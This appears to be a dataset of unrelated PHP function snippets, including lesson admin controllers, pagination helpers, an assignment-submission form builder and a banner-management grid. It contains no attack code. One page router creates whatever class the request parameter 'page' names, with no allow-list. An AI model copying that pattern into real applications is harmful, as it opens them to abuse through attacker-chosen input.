*/\n\t\t\t//Retriev all category data\n\t\t\t$this->data['category_all']=$this->category_m->get_all();\n\n\t\t\t//Loop trough them so we can add the counters\n\t\t\tforeach($this->data['category_all'] as $key => $category_temp){\n\t\t\t\t//Make exception filter for zerro courses\n\t\t\t\tif(count($this->course_m->get_by_category($category_temp->category_id, false))!=NULL)\n\t\t\t\t\t$this->data['category_all'][$key]->count=count($this->course_m->get_by_category($category_temp->category_id, false));\n\t\t\t\telse\n\t\t\t\t\t$this->data['category_all'][$key]->count=0;\n\t\t\t}\n\n\t\t\t//Load subviews\n\t\t\t$this->data['category_view']='/en/1-admin/components/views/main_lesson_cat_select';\n\t\t\t$this->data['course_view']='/en/1-admin/components/views/main_lesson_course_select';\n\t\t}\n\n\t\t// Form validation for new lessons\n\t\tif($this->input->post('submit')){\n\t\t\t// Set up the form rules\n\t\t\t\t$rules = $this->lesson_m->rules_create_lesson;\n\t\t\t\t$rules['lesson_slug']['rules'].='|is_unique[lessons.lesson_slug]';\n\t\t\t\t$this->form_validation->set_rules($rules);\n\t\t\t// Process the form\n\t\t\tif ($this->form_validation->run() == TRUE) {\n\t\t\t\t//Get data from form and put it into an array\n\t\t\t\t$data = $this->lesson_m->array_from_post(array('lesson_name','lesson_slug', 'language_id' ,'course_id'));\n\t\t\t\t$data['lesson_slug']=seoUrl($data['lesson_slug']);\n\t\t\t\t$this->lesson_m->save($data);\n\n\t\t\t\t//Set success message\n\t\t\t\t$this->session->set_flashdata('message', $this->lang->line('info_flash_add'));\n\t\t\t\tredirect($this->data['language'].'/admin/lesson/create/'.$category.'/'.$course);\n\t\t\t}\n\t\t}\n\t\t// Form validation for editing a lessons\n\t\tif($this->input->post('edit')){\n\t\t\t// Set up the form rules\n\t\t\t\t$rules = $this->lesson_m->rules_create_lesson;\n\t\t\t\tif($this->data['l_data']->lesson_slug != $this->input->post('lesson_slug')){\n\t\t\t\t$rules['lesson_slug']['rules'].='|is_unique[lessons.lesson_slug]';\n\t\t\t}\n\t\t\t\t$this->form_validation->set_rules($rules);\n\t\t\t// Process the form\n\t\t\tif ($this->form_validation->run() == TRUE) {\n\t\t\t\t$data = $this->lesson_m->array_from_post(array('lesson_name','lesson_slug', 'language_id' ,'course_id', 'lesson_id'));\n\t\t\t\t$data['lesson_slug']=seoUrl($data['lesson_slug']);\n\t\t\t\t$this->lesson_m->save($data, $lesson);\n\t\t\t\t$this->session->set_flashdata('message', $this->lang->line('info_flash_update'));\n\t\t\t\tredirect($this->data['language'].'/admin/lesson/create/'.$category.'/'.$course.'/'.$lesson);\n\t\t\t}\n\t\t}\n\n\t\t//loading views\n\t\t$this->data['lesson']=$lesson;\n\t\t$this->data['subview'] = 'en/1-admin/components/views/main_lesson_create';\n\t\t$this->load->view('en/1-admin/layout/_layout_main', $this->data);\n\t\t}",
"public function __construct()\r\n {\r\n $pageRequest = 'homePage';\r\n //check for parameters\r\n if (isset($_REQUEST['page'])) {\r\n $pageRequest = $_REQUEST['page'];\r\n }\r\n //instantiate the class that is being requested\r\n $page = new $pageRequest;\r\n\r\n if ($_SERVER['REQUEST_METHOD'] == 'GET') {\r\n $page->get();\r\n } else {\r\n $page->post();\r\n }\r\n\r\n }",
"private function setPage(){\n\t if(!empty($_GET['page'])){\n\t if($_GET['page']>0){\n\t if($_GET['page'] > $this->pagenum){\n\t return $this->pagenum;\n\t }else{\n\t return $_GET['page'];\n\t }\n\t }else{\n\t return 1;\n\t }\n\t }else{\n\t return 1;\n\t }\n\t }",
"public function getPage() {\n\t\tswitch($_POST['page']){\n\t\t\tcase 'getconfig':\n\t\t\t\t$this->returnConfig();\n\t\t\t\tbreak;\n\t\t\tcase 'save':\n\t\t\t\t$this->saveConfig();\n\t\t\t\tbreak;\n\t\t\tcase 'addkey':\n\t\t\t\t$this->addPresharedkey();\n\t\t\t\tbreak;\n\t\t\tcase 'editkey':\n\t\t\t\t$this->editPreSharedkey();\n\t\t\t\tbreak;\n\t\t\tcase 'deletekey':\n\t\t\t\t$this->removePresharedkey();\n\t\t\t\tbreak;\n\t\t\tcase 'addcertificate':\n\t\t\t\t$this->addCertificate();\n\t\t\t\tbreak;\n\t\t\tcase 'editcertificate':\n\t\t\t\t$this->editCertificate();\n\t\t\t\tbreak;\n\t\t\tcase 'deletecertificate':\n\t\t\t\t$this->removeCertificate();\n\t\t\t\tbreak;\n\t\t\tcase 'addtunnel':\n\t\t\t\t$this->addTunnel();\n\t\t\t\tbreak;\n\t\t\tcase 'edittunnel':\n\t\t\t\t$this->editTunnel();\n\t\t\t\tbreak;\n\t\t\tcase 'deletetunnel':\n\t\t\t\t$this->removeTunnel();\n\t\t\t\tbreak;\n\t\t\tcase 'toggletunnel':\n\t\t\t\t$this->toggleTunnel();\n\t\t}\n\t}",
"public function load_page($pageid, languagelesson $lesson) {\n global $DB;\n if (!($page =$DB->get_record('languagelesson_pages', array('id'=>$pageid, 'lessonid'=>$lesson->id)))) {\n print_error('cannotfindpages', 'languagelesson');\n }\n $pagetype = get_class($this->types[$page->qtype]);\n $page = new $pagetype($page, $lesson);\n return $page;\n }",
"final public static function load($id, languagelesson $lesson) {\n global $DB;\n\n if (is_object($id) && !empty($id->qtype)) {\n $page = $id;\n } else {\n $page = $DB->get_record(\"languagelesson_pages\", array(\"id\" => $id));\n if (!$page) {\n print_error('cannotfindpages', 'languagelesson');\n }\n }\n $manager = languagelesson_page_type_manager::get($lesson);\n\n $class = 'languagelesson_page_type_'.$manager->get_page_type_idstring($page->qtype);\n if (!class_exists($class)) {\n $class = 'languagelesson_page';\n }\n\n return new $class($page, $lesson);\n }",
"function url_get_parameters() {\n $this->init_full();\n return array('id' => $this->modulerecord->id, 'pageid' => $this->lessonpageid);;\n }",
"public function __construct ()\n {\n if ($this->webIsEnabled()) {\n $this->thePage();\n } else {\n if (! Helper::urlContains('_administrator')) {\n echo '<p>Sorry we will be back soon.</p>';\n } else {\n $this->thePage();\n }\n }\n }",
"public function __construct($page)\n {\n $this->page = $page;\n }",
"public function __construct()\n {\n // Page Data\n $this->title = 'Dashboard';\n $this->url = 'dashboard';\n }",
"public function __construct($p_sPage){\n $this->page($p_sPage);\n }",
"protected function populateParams() {\r\n $this->pageNum = isset($_GET['p']) ? (int)$_GET['p'] : 0;\r\n $this->status = isset($_GET['status']) ? (int)$_GET['status'] : 0;\r\n if ($this->pageNum < 1) {\r\n $this->pageNum = 1;\r\n }\r\n }",
"public function assignment_page(){\n\t\t$page_base = $this->page_url();\n\t\t//switch($tab)\n\t\tob_start();\n\t\t?>\n\t\t<div class=\"wp_lms settings\">\n\t\t\t<h1>Assignments</h1>\n\t\t\t<h2 class=\"nav-tab-wrapper\">\n\t\t\t\t<a href=\"<?= $page_base;?>&status=active\" class=\"nav-tab\" title=\"Active Courses\">Active Courses</a>\n\t\t\t\t<a href=\"<?= $page_base;?>&status=inactive\" class=\"nav-tab\" title=\"Inactive Courses\">Inactive Courses</a>\n\t\t\t</h2>\n\t\t\t<h3>Course List</h3>\n\t\t\t<?php\n\t\t\t// 'post_type' => 'course',\n\t // 'showposts' => 10,\n\t // 'orderby' => $orderby,\n\t // 'order' => strtoupper($order) \n\t\t\twp_lms_html_gen::form_open(array(\"post_type\" => \"course\", \"showposts\" => \"10\", \"orderby\" => \"title\", \"order\" => \"ASC\"), $page_base ) ?>\n\t\t</div>\n\t\t<?\n\t\tob_end_flush();\n\t}",
"function __construct($pageMethod = null)\n\t{\n\t\t// echo $pageURI;\n\t\t$this->load = new Load();\n\t\t$this->model = new Model();\n\t\t// Determine what page you are on\n\t\t$this->$pageMethod();\n\t}",
"public function getPage() {\r\n\t\tif (isset ( $_POST ['page'] )) {\r\n\t\t\tswitch ($_POST ['page']) {\r\n\t\t\t\tcase 'getconfig' :\r\n\t\t\t\t\t$this->getConfig();\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'save':\r\n\t\t\t\t\t$this->saveConfig();\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tdefault:\r\n\t\t\t\t\tthrow new Exception('Invalid page request');\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$this->logger->error ( 'A page was requested without a page identifier' );\r\n\t\t\tthrow new Exception('Invalid page request');\r\n\t\t}\r\n\t}",
"function qa_load_state()\n{\n\tglobal $qa_state;\n\n\t$qa_state = qa_get('state');\n\tunset($_GET['state']); // to prevent being passed through on forms\n}",
"public function show(Lesson $lesson)\n {\n \n }",
"public function show(Lesson $lesson)\n {\n //\n }",
"public function show(Lesson $lesson)\n {\n //\n }",
"public function show(Lesson $lesson)\n {\n //\n }",
"public function show(Lesson $lesson)\n {\n //\n }",
"public function getLesson() {\r\n return $this->lesson;\r\n }",
"public function __construct($pdf_url, $lessonid)\n {\n //\n $this->pdf_url = $pdf_url;\n $this->lessonid = $lessonid;\n }",
"function formPage($key, $step)\n{\n\tglobal $CONFIGVAR;\n\tglobal $functionDisplayUpper;\n\tglobal $functionDisplayLower;\n\tglobal $ajax;\n\tglobal $herr;\n\tglobal $dbapp;\n\tglobal $dbuser;\n\tglobal $dbconf;\n\n\t$default = true;\n\t$disable = true;\n\n\t// Assignment\n\t$rxb = $dbapp->queryAssignment($key);\n\tif ($rxb == false)\n\t{\n\t\tif ($herr->checkState())\n\t\t{\n\t\t\thandleError($herr->errorGetMessage());\n\t\t}\n\t\telse\n\t\t{\n\t\t\thandleError('Database Error: Stored Data Conflict: Specified ' .\n\t\t\t\t'assignment does not exist.<br>Contact your administrator.' .\n\t\t\t\t'<br>ASSIGN_ID=' . $key);\n\t\t}\n\t}\n\n\t// Assignment Step\n\tif ($step > 0)\n\t{\n\t\t$rxc = $dbapp->queryAssignstep($key, $step);\n\t\tif ($rxc == false)\n\t\t{\n\t\t\tif ($herr->checkState())\n\t\t\t{\n\t\t\t\thandleError($herr->errorGetMessage());\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\thandleError('Database Error: Stored Data Conflict: Assignment ' .\n\t\t\t\t\t'step does not exist.<br>Contact your administrator.' .\n\t\t\t\t\t'<br>ASSIGN=' . $key . ' STEP=' . $step);\n\t\t\t}\n\t\t}\n\t}\n\telse $rxc = NULL;\n\t\n\t// Course\n\t$rxd = $dbapp->queryCourse($rxb['courseid']);\n\tif ($rxd == false)\n\t{\n\t\tif ($herr->checkState())\n\t\t\thandleError($herr->errorGetMessage());\n\t\telse\n\t\t\thandleError('Database Error: Stored Data Conflict: Specified ' .\n\t\t\t\t'course does not exist.<br>Contact your administrator.' .\n\t\t\t\t'<br>COURSE_ID=' . $rxb['courseid']);\n\t}\n\n\t// Turnin Data\n\t$rxe = $dbapp->queryTurninStudentAssignAll($_SESSION['userId'], $key);\n\tif ($rxe == false)\n\t{\n\t\tif ($herr->checkState())\n\t\t\thandleError($herr->errorGetMessage());\n\t}\n\t\n\t// Close Field Set\n\t$fsetclose = array('type' => html::TYPE_FSETCLOSE);\n\n\t// Course\n\t$course_fs = array(\n\t\t'type' => html::TYPE_FSETOPEN,\n\t\t'name' => 'Course Information',\n\t);\n\t$course = generateField(html::TYPE_TEXT, '', 'Course Number', 2,\n\t\t$rxd['courseid'], 'The course ID number that is assigned by the institution.',\n\t\t$default, $disable);\n\t$class = generateField(html::TYPE_TEXT, '', 'Class', 3, $rxd['class'],\n\t\t'The class designation that is assigned by the institution.',\n\t\t$default, $disable);\n\t$section = generateField(html::TYPE_TEXT, '', 'Section', 2,\n\t\t$rxd['section'], 'The course section number.', $default, $disable);\n\t$name = generateField(html::TYPE_TEXT, '', 'Course Name', 4,\n\t\t$rxd['name'], 'The name of the course.', $default, $disable);\n\t$data2 = array(\n\t\t$course_fs,\n\t\t$course,\n\t\t$class,\n\t\t$section,\n\t\t$name,\n\t\t$fsetclose,\n\t);\n\n\t// Assignment\n\t$assign_fs = array(\n\t\t'type' => html::TYPE_FSETOPEN,\n\t\t'name' => 'Assignment Information',\n\t);\n\t$aname = generateField(html::TYPE_TEXT, '', 'Name', 4,\n\t\t$rxb['name'], 'The name of the assignment', $default, $disable);\n\tif (!empty($rxb['description']))\n\t{\n\t\t$adesc = generateField(html::TYPE_AREA, '', 'Description', 6,\n\t\t\t$rxb['description'], 'The description of the assignment.', $default,\n\t\t\t$disable);\n\t}\n\telse $adesc = NULL;\n\t$adesc['rows'] = 6;\n\t$adue = generateField(html::TYPE_TEXT, '', 'Due Date/Time', 3,\n\t\ttimedate::unix2canonical($rxb['duedate']),\n\t\t'The date and time the assignment is due.', $default, $disable);\n\t$apoints = generateField(html::TYPE_TEXT, '', 'Points', 2,\n\t\t$rxb['points'], 'The number of points the assignment is worth.',\n\t\t$default, $disable);\n\t$aexempt = generateField(html::TYPE_TEXT, '', 'Exempt', 2,\n\t\tconvBooleanValue($rxb['exempt']),\n\t\t'Indicates if the assignment is exempt from grading.',\n\t\t$default, $disable);\n\t$data3 = array(\n\t\t$assign_fs,\n\t\t$aname,\n\t\t$adesc,\n\t\t$adue,\n\t\t$apoints,\n\t\t$aexempt,\n\t\t$fsetclose,\n\t);\n\n\t// Assignment Step\n\tif (is_array($rxc))\n\t{\n\t\t$assignstep_fs = array(\n\t\t\t'type' => html::TYPE_FSETOPEN,\n\t\t\t'name' => 'Assignment Step Information',\n\t\t);\n\t\t$astep = generateField(html::TYPE_TEXT, '', 'Step', 2, $rxc['step'],\n\t\t\t'The assignment step number.', $default, $disable);\n\t\t$asdate = generateField(html::TYPE_TEXT, '', 'Date', 3,\n\t\t\ttimedate::unix2canonical($rxc['date']),\n\t\t\t'The time/date that this step should be completed by.',\n\t\t\t$default, $disable);\n\t\tif (!empty($rxc['description']))\n\t\t{\n\t\t\t$asdesc = generateField(html::TYPE_AREA, '', 'Description', 6,\n\t\t\t\t$rxc['description'], 'The description of this step.', $default,\n\t\t\t\t$disable);\n\t\t\t$asdesc['rows'] = 6;\n\t\t}\n\t\telse\n\t\t\t$asdesc = NULL;\n\t\t$data4 = array(\n\t\t\t$assignstep_fs,\n\t\t\t$astep,\n\t\t\t$asdate,\n\t\t\t$asdesc,\n\t\t\t$fsetclose,\n\t\t);\n\t}\n\telse $data4 = array();\n\n\t// File submissions\n\t$message = '';\n\t$data5 = array();\n\tif (is_array($rxe))\n\t{\n\t\t$currSub = 0;\n\t\tforeach($rxe as $kx => $vx)\n\t\t{\n\t\t\tif ($vx['step'] != $step) continue;\n\t\t\t$rxf = $dbapp->queryFilenameSubmitAll($_SESSION['userId'], $key, $step,\n\t\t\t\t$vx['subcount']);\n\t\t\tif ($rxf == false)\n\t\t\t{\n\t\t\t\tif ($herr->checkState())\n\t\t\t\t\thandleError($herr->getErrorMessage());\n\t\t\t}\n\t\t\tif (is_array($rxf))\n\t\t\t{\n\t\t\t\t$file_fs = array(\n\t\t\t\t\t'type' => html::TYPE_FSETOPEN,\n\t\t\t\t\t'name' => 'Submission Number ' . $vx['subcount'] .\n\t\t\t\t\t\t' Submitted: ' . timedate::unix2canonical(\n\t\t\t\t\t\t\t$vx['timedate']),\n\t\t\t\t);\n\t\t\t\t$filelist = array(\n\t\t\t\t\t'type' => html::TYPE_BLIST,\n\t\t\t\t\t'data' => array(),\n\t\t\t\t);\n\t\t\t\tforeach($rxf as $kxa => $vxa)\n\t\t\t\t{\n\t\t\t\t\tarray_push($filelist['data'], $vxa['studentfile']);\n\t\t\t\t}\n\t\t\t\tarray_push($data5, $file_fs, $filelist, $fsetclose);\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ($step > 0)\n\t\t\t$message = 'There has been no submissions for this step.';\n\t\telse\n\t\t\t$message = 'There has been no submissions for this assignment.';\n\t\t$msg = array(\n\t\t\t'type' => html::TYPE_MESSAGE,\n\t\t\t'message' => $message,\n\t\t);\n\t\tarray_push($data5, $msg);\n\t}\n\n\t// Header Messages\n\t$msg1 = 'Submit Assignment<br>';\n\t$msg2 = $rxd['class'] . '-' . $rxd['section'] . ': ' . $rxb['name'];\n\tif ($step > 0) $msg2 .= ' Step ' . $step;\n\t$warn = 'Submitted files cannot be deleted.<br>' .\n\t\t'If changes are needed, then make another submission.';\n\n\t// Build out the form array.\n\t$data1 = array(\n\t\tarray(\n\t\t\t'type' => html::TYPE_HEADING,\n\t\t\t'message1' => $msg1,\n\t\t\t'message2' => $msg2,\n\t\t\t'warning' => $warn,\n\t\t),\n\t\tarray('type' => html::TYPE_TOPB2),\n\t\tarray('type' => html::TYPE_WD75OPEN),\n\t\tarray(\n\t\t\t'type' => html::TYPE_FORMOPEN,\n\t\t\t'name' => 'dataForm',\n\t\t),\n\t);\n\n\t\t// XXX Enter custom field data here.\n\n\n\t$data6 = array(\n\t\tarray(\n\t\t\t'type' => html::TYPE_FSETOPEN,\n\t\t\t'name' => 'Upload Files',\n\t\t),\n\t\tarray(\n\t\t\t'type' => html::TYPE_HIDEOPEN,\n\t\t\t'name' => 'fileInputDiv',\n\t\t\t'hidden' => false,\n\t\t),\n\t\tarray(\n\t\t\t'type' => html::TYPE_FILE,\n\t\t\t'bname' => 'fileSubmit',\n\t\t\t'fname' => 'fileInputForm',\n\t\t\t'name' => 'fileInput',\n\t\t\t'action' => 'funcUploadFile(2, \\'assignment=' . $key . '\\', \\'step='\n\t\t\t\t. $step . '\\')',\n\t\t\t'fsize' => 8,\n\t\t\t'lsize' => 2,\n\t\t),\n\t\t$fsetclose,\n\t\tarray(\n\t\t\t'type' => html::TYPE_ACTBTN,\n\t\t\t'dispname' => $functionDisplayUpper,\n\t\t\t'btnset' => html::BTNTYP_VIEW,\n\t\t),\n\n\t\tarray('type' => html::TYPE_HIDECLOSE),\n\t\tarray('type' => html::TYPE_FORMCLOSE),\n\t\tarray('type' => html::TYPE_WDCLOSE),\n\t\tarray('type' => html::TYPE_BOTB2),\n\t\tarray('type' => html::TYPE_VTAB10),\n\t);\n\n\n\t// Render\n\t$data = array_merge($data1, $data2, $data3, $data4, $data5, $data6);\n\treturn html::pageAutoGenerate($data);\n}",
"public function __construct($request) {\n\n parent::__construct($request);\n $this->page = new MainPage();\n\t\t\n\t\t$this->CommonFacade \t\t= new CommonFacade($GLOBALS['conn']);\n\t\t\t$alphabets = array('a'=>'A',\n\t\t'b'=>'B',\n\t\t'c'=>'C',\n\t\t'd'=>'D',\n\t\t'e'=>'E',\n\t\t'f'=>'F',\n\t\t'g'=>'G',\n\t\t'h'=>'H',\n\t\t'i'=>'I',\n\t\t'j'=>'J',\n\t\t'k'=>'K',\n\t\t'l'=>'L',\n\t\t'm'=>'M',\n\t\t'n'=>'N',\n\t\t'o'=>'O',\n\t\t'p'=>'P',\n\t\t'q'=>'Q',\n\t\t'r'=>'R',\n\t\t's'=>'S',\n\t\t't'=>'T',\n\t\t'u'=>'U',\n\t\t'v'=>'V',\n\t\t'w'=>'W',\n\t\t'x'=>'X',\n\t\t'y'=>'Y',\n\t\t'z'=>'Z');\n\t\t$alpha_links = array();\n\t\t$i=0;\n\t\tforeach ($alphabets as $k=>$v) {\n\t\t\t$alpha_links[$i][\"link\"] = $this->request->createURL(\"Listing\", \"browseCategory\", \"search=$k\");\n\t\t\t$alpha_links[$i][\"text\"] = $v;\n\t\t\t$i++;\n\t\t}\n\t\t$this->page->assign(\"alpha_links\",$alpha_links);\n\n }",
"protected function setupPage() {}",
"public function setLesson(Lesson $lesson) {\r\n $this->lesson = $lesson;\r\n }",
"function __construct()\n\t{\n\t\tparent::__construct();\n\t\t\n\t\tglobal $objLogin;\n\t\t\n\t\t$this->params = array();\t\t\n\t\tif(isset($_POST['link_url'])){\n\t\t\t$link_url = prepare_input($_POST['link_url'], false, 'medium');\n\t\t\tif(preg_match('/www./i', $link_url) && !preg_match('/http:/i', $link_url)){\n\t\t\t\t$link_url = 'http://'.$link_url;\n\t\t\t}\n\t\t\t$this->params['link_url'] = $link_url;\n\t\t}\n\t\tif(isset($_POST['priority_order'])) $this->params['priority_order'] = prepare_input($_POST['priority_order']);\n\t\tif(isset($_POST['is_active'])) $this->params['is_active'] = (int)$_POST['is_active']; else $this->params['is_active'] = '0';\n\t\tif(isset($_POST['page'])) \t\t\t$this->params['page'] = prepare_input($_POST['page']);\n\t\t///$this->params['language_id'] \t= MicroGrid::GetParameter('language_id');\n\n\t\t## for images\n\t\tif(isset($_POST['image_file'])){\n\t\t\t$this->params['image_file'] = prepare_input($_POST['image_file']);\n\t\t}else if(isset($_FILES['image_file']['name']) && $_FILES['image_file']['name'] != ''){\n\t\t\t// nothing \t\t\t\n\t\t}else if (self::GetParameter('action') == 'create'){\n\t\t\t$this->params['image_file'] = '';\n\t\t}\n\t\t\n\t\tif(self::$PROJECT == 'HotelBooking'){\n\t\t\t$properties = HotelsPropertyTypes::GetHotelsPropertyTypes();\n\t\t\t$this->pages = array(''=>_ALL);\n\t\t\tforeach($properties as $key => $val){\n\t\t\t\t$this->pages['check_'.$val['property_code']] = $val['name'];\t\n\t\t\t}\n\t\t}else if(self::$PROJECT == 'HotelSite'){\n\t\t\t$this->pages = array(''=>_ALL, 'home'=>_HOME, 'rooms'=>_ROOMS, 'restaurant'=>_RESTAURANT, 'booking'=>_BOOKING);\n\t\t}else{\t\n\t\t\t$this->pages = array('home'=>_HOME);\n\t\t}\n\t\t\n\t\t$this->primaryKey \t= 'id';\n\t\t$this->tableName \t= TABLE_BANNERS;\n\t\t$this->dataSet \t\t= array();\n\t\t$this->error \t\t= '';\n\t\t$this->formActionURL = 'index.php?admin=mod_banners_management';\n\t\t$this->actions = array('add'=>true, 'edit'=>true, 'details'=>true, 'delete'=>true);\n\t\t$this->actionIcons = true;\n\t\t$this->allowRefresh = true;\n\t\t$this->allowTopButtons = true;\n\n\t\t$this->allowLanguages = false;\n\t\t$this->languageId \t= $objLogin->GetPreferredLang();\n\t\t$this->WHERE_CLAUSE = ''; //'WHERE ';\t\t\n\t\t$this->ORDER_CLAUSE = 'ORDER BY page ASC, priority_order ASC'; // ORDER BY date_created DESC\n\n\t\t$this->isAlterColorsAllowed = true;\n\n\t\t$this->isPagingAllowed = true;\n\t\t$this->pageSize = 20;\n\n\t\t$this->isSortingAllowed = true;\n\n\t\t$this->isFilteringAllowed = true;\n\t\t// define filtering fields\n\t\t$this->arrFilteringFields = array(\n\t\t\t_PAGE => array('table'=>'b', 'field'=>'page', 'type'=>'dropdownlist', 'source'=>$this->pages, 'sign'=>'=', 'width'=>'130px', 'visible'=>true),\n\t\t\t//'parameter1' => array('title'=>'', 'type'=>'text', 'sign'=>'=|like%|%like|%like%', 'width'=>'80px'),\n\t\t\t//'parameter2' => array('title'=>'', 'type'=>'text', 'sign'=>'=|like%|%like|%like%', 'width'=>'80px'),\n\t\t);\n\t\t\n\t\t$arr_is_active = array('0'=>'<span class=no>'._NO.'</span>', '1'=>'<span class=yes>'._YES.'</span>');\n\t\t\n\t\t$slideshow_caption_html = ModulesSettings::Get('banners', 'slideshow_caption_html');\n\n\t\t///////////////////////////////////////////////////////////////////////////////\n\t\t// 1. prepare translation fields array\n\t\t$this->arrTranslations = $this->PrepareTranslateFields(\n\t\t\tarray('image_text')\n\t\t);\n\t\t///////////////////////////////////////////////////////////////////////////////\t\t\t\n\n\t\t///////////////////////////////////////////////////////////////////////////////\t\t\t\n\t\t// 2. prepare translations array for edit/detail modes\n\t\t$sql_translation_description = $this->PrepareTranslateSql(\n\t\t\tTABLE_BANNERS_DESCRIPTION,\n\t\t\t'banner_id',\n\t\t\tarray('image_text')\n\t\t);\n\t\t///////////////////////////////////////////////////////////////////////////////\t\t\t\n\n\t\t//---------------------------------------------------------------------- \n\t\t// VIEW MODE\n\t\t//----------------------------------------------------------------------\n\t\t$this->VIEW_MODE_SQL = 'SELECT b.'.$this->primaryKey.',\n\t\t\t\t\t\t\t\t\tb.image_file,\n\t\t\t\t\t\t\t\t\tb.image_file_thumb,\n\t\t\t\t\t\t\t\t\tb.link_url,\n\t\t\t\t\t\t\t\t\tb.page,\n\t\t\t\t\t\t\t\t\tb.priority_order,\n\t\t\t\t\t\t\t\t\tb.is_active,\n\t\t\t\t\t\t\t\t\tbd.image_text as image_text\n\t\t\t\t\t\t\t\tFROM ('.$this->tableName.' b\n\t\t\t\t\t\t\t\t\tLEFT OUTER JOIN '.TABLE_BANNERS_DESCRIPTION.' bd ON b.id = bd.banner_id AND bd.language_id = \\''.$this->languageId.'\\')';\t\t\n\t\t// define view mode fields\n\t\t$this->arrViewModeFields = array(\n\t\t\t'image_file_thumb' => array('title'=>_BANNER_IMAGE, 'type'=>'image', 'sortable'=>false, 'align'=>'left', 'width'=>'150px', 'image_width'=>'120px', 'image_height'=>'30px', 'target'=>'images/banners/', 'no_image'=>'no_image.png'),\n\t\t\t'image_text' \t => array('title'=>_DESCRIPTION, 'type'=>'label', 'align'=>'left', 'width'=>'', 'maxlength'=>'70', 'format'=>'strip_tags'),\n\t\t\t'link_url' \t\t=> array('title'=>_URL, 'type'=>'link', 'align'=>'left', 'width'=>'', 'sortable'=>true, 'nowrap'=>'', 'visible'=>true, 'tooltip'=>'', 'maxlength'=>'', 'format'=>'', 'format_parameter'=>'', 'href'=>'{link_url}', 'target'=>'_blank'),\n\t\t\t'page' \t \t \t=> array('title'=>_PAGE, 'type'=>'enum', 'align'=>'center', 'width'=>'150px', 'sortable'=>true, 'nowrap'=>'', 'visible'=>true, 'source'=>$this->pages),\n\t\t\t'priority_order' => array('title'=>_ORDER, 'type'=>'label', 'align'=>'center', 'width'=>'60px', 'movable'=>true),\n\t\t\t'is_active' => array('title'=>_ACTIVE, 'type'=>'enum', 'align'=>'center', 'width'=>'130px', 'sortable'=>true, 'nowrap'=>'', 'visible'=>true, 'source'=>$arr_is_active),\n\t\t);\n\t\t\n\t\t//---------------------------------------------------------------------- \n\t\t// ADD MODE\n\t\t//---------------------------------------------------------------------- \n\t\t// define add mode fields\n\t\t$max_order = (self::GetParameter('action') == 'add') ? $this->GetMaxOrder('priority_order', 99) : 0;\n\t\t$this->arrAddModeFields = array(\n\t\t\t'separator_general' =>array(\n\t\t\t\t'separator_info' => array('legend'=>_GENERAL),\n\t\t\t\t'image_file' => array('title'=>_BANNER_IMAGE, 'type'=>'image', 'width'=>'210px', 'required'=>true, 'readonly'=>false, 'target'=>'images/banners/', 'no_image'=>'', 'random_name'=>'true', 'unique'=>false, 'thumbnail_create'=>true, 'thumbnail_field'=>'image_file_thumb', 'thumbnail_width'=>'140px', 'thumbnail_height'=>'30px', 'file_maxsize'=>'1000k'),\n\t\t\t\t'link_url' => array('title'=>_URL.' (http://)', 'type'=>'textbox', 'width'=>'270px', 'required'=>false, 'readonly'=>false, 'validation_type'=>'text', 'maxlength'=>'255'),\n\t\t\t\t'page' \t\t => array('title'=>_PAGE, 'type'=>'enum', 'width'=>'', 'required'=>false, 'readonly'=>false, 'default'=>'', 'source'=>$this->pages, 'default_option'=>'', 'unique'=>false, 'javascript_event'=>'', 'view_type'=>'dropdownlist|checkboxes', 'multi_select'=>false),\n\t\t\t\t'priority_order' => array('title'=>_ORDER, 'type'=>'textbox', 'width'=>'50px', 'required'=>true, 'default'=>$max_order, 'readonly'=>false, 'validation_type'=>'numeric', 'maxlength'=>'2'),\n\t\t\t\t'is_active' => array('title'=>_ACTIVE, 'type'=>'checkbox', 'readonly'=>false, 'default'=>'1', 'true_value'=>'1', 'false_value'=>'0'),\n\t\t\t)\n\t\t);\n\n\t\t//---------------------------------------------------------------------- \n\t\t// EDIT MODE\n\t\t//---------------------------------------------------------------------- \n\t\t// define edit mode fields\n\t\t$this->EDIT_MODE_SQL = 'SELECT\n\t\t\t\t\t\t\t\t'.$this->primaryKey.',\n\t\t\t\t\t\t\t\timage_file,\n\t\t\t\t\t\t\t\timage_file_thumb,\n\t\t\t\t\t\t\t\tpage,\n\t\t\t\t\t\t\t\t'.$sql_translation_description.'\n\t\t\t\t\t\t\t\tlink_url,\n\t\t\t\t\t\t\t\tpriority_order,\n\t\t\t\t\t\t\t\tis_active,\n\t\t\t\t\t\t\t\tCONCAT(\\'<img src=\"images/banners/\\', image_file_thumb, \\'\" alt=\"icon\" width=\"140px\" height=\"30px\" />\\') as my_image_file\n\t\t\t\t\t\t\tFROM '.$this->tableName.'\n\t\t\t\t\t\t\tWHERE '.$this->primaryKey.' = _RID_';\t\t\n\t\t// define edit mode fields\n\t\t$this->arrEditModeFields = array(\n\t\t\t'separator_general' =>array(\n\t\t\t\t'separator_info' => array('legend'=>_GENERAL),\n\t\t\t\t'image_file' => array('title'=>_BANNER_IMAGE, 'type'=>'image', 'width'=>'210px', 'required'=>true, 'readonly'=>false, 'target'=>'images/banners/', 'no_image'=>'', 'image_width'=>'280px', 'image_height'=>'90px', 'random_name'=>'true', 'unique'=>false, 'thumbnail_create'=>true, 'thumbnail_field'=>'image_file_thumb', 'thumbnail_width'=>'140px', 'thumbnail_height'=>'30px'),\n\t\t\t\t'link_url' => array('title'=>_URL.' (http://)', 'type'=>'textbox', 'width'=>'270px', 'required'=>false, 'readonly'=>false, 'validation_type'=>'text', 'maxlength'=>'255'),\n\t\t\t\t'page' \t\t => array('title'=>_PAGE, 'type'=>'enum', 'width'=>'', 'required'=>false, 'readonly'=>false, 'default'=>'', 'source'=>$this->pages, 'default_option'=>'', 'unique'=>false, 'javascript_event'=>'', 'view_type'=>'dropdownlist|checkboxes', 'multi_select'=>false),\n\t\t\t\t'priority_order' => array('title'=>_ORDER, 'type'=>'textbox', 'width'=>'50px', 'required'=>true, 'readonly'=>false, 'validation_type'=>'numeric', 'maxlength'=>'2'),\n\t\t\t\t'is_active' => array('title'=>_ACTIVE, 'type'=>'checkbox', 'readonly'=>false, 'true_value'=>'1', 'false_value'=>'0'),\n\t\t\t)\n\t\t);\n\n\t\t//---------------------------------------------------------------------- \n\t\t// DETAILS 